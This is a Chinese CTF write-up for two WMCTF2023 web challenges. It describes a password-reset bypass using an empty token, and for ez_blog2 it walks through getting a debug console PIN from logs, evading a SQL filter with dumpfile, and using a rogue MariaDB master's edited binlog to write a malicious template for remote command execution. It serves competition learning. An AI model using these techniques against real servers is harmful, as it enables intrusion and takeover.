WMCTF2023-Web
ez_blog
下载附件 然后开始对app.js
进行审计
这里app.js
里给了注释 看起来还是比较好看的
你的权限放着我来
先进行注册
登录后查看源码 给了一些提示和邮箱
经过测试发现密码找回功能能够收到邮件
收到邮件后访问该链接进行抓包 然后访问该api接口进行密码修改
这里的话email换成前面给的固定的那几个邮箱 一个一个试就可以 token得为空 不然会失败
ez_blog2
这里主要是记录一下主从复制怎么打
https://www.yuque.com/dat0u/ctf/llicuvep2fhtx77i
上面是参考链接和题目的地址
(这里就差不多照抄一遍吧 方便以后自己好查)
题目启动脚本
1 | docker run -it -d -p 12345:3000 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/wmctf2023_ezblog2 |
进入容器后
访问/home/ezblog/.pm2/logs
cat main-out.log
获取到pin之后 直接访问console控制台
这里的sql执行指令的话是由waf的 不能执行 into outfile (过滤了)
这里记录个小技巧 outfile被过滤之后 我们可以使用dumpfile
来进行替代
在远程vps上启动一个和题目一样版本的MariaDB:
- root密码设置为123456
- 容器名字设置为some-mariadb,后面会用到这个容器名字(当然直接用容器ID也行,这里为了WriteUp的完整性就设置了估计容器名字)
- 把内部的3306端口映射到外部53306端口
1 | docker run -it -d --name some-mariadb --env MARIADB_USER=ctf --env MARIADB_PASSWORD=ctf --env MARIADB_ROOT_PASSWORD=123456 -p 53306:3306 mariadb:10.9.8 |
(记得开放端口 并且这里的mariadb要懂得变化 根据题目给的版本来进行替换)
进入容器内部,执行一下命令换源并安装vim命令,方便后面改配置
1 | sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list |
修改/etc/mysql/mariadb.conf.d/50-server.cnf文件,添加以下内容,开启binlog
1 | server_id = 100 |
重启容器,使上方配置生效
1 | docker restart some-mariadb |
进入容器,执行以下命令:
- 进入mysql终端
- 关闭主服务器的CRC32校验
- 删除所有二进制日志
- 创建一个数据库
- 创建一个表
- 插入一个值
1 | mysql -uroot -p123456 |
这里创建表,插入字段的原因是,binlog只会记录INSERT、UPDATE、DELETE等修改数据的语句,不会记录SELECT、SHOW等不影响数据的语句
INSERT语句的长度,需要与SELECT语句的长度一样,这里的SELECT语句写入模板文件
(这个插入语句的长短也是根据题目来进行变通的)
1 | INSERT INTO employees(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1); |
我们可以在/var/lib/mysql目录中看到生成的mysql-bin.000001
将该文件从容器中复制出来,下载到本地修改
1 | docker cp some-mariadb:/var/lib/mysql/mysql-bin.000001 . |
在本地使用010 Editor修改
将原来的insert给替换掉
把修改之后的文件复制到原本的位置
1 | docker cp mysql-bin.000001 some-mariadb:/var/lib/mysql/mysql-bin.000001 |
最后在靶机的sql execute出执行命令
- 创建mysql数据库
- 创建主从复制所需用到的表
- 设置题目靶机的主服务器地址及账号密码
- 启动主从复制
1 | CREATE DATABASE mysql; |
在启动主从复制之后,题目靶机会同步mysql-bin.000001并执行里面的SQL语句,此时我们的恶意模板就写到了指定位置,再解析该模板即可执行任意命令,得到flag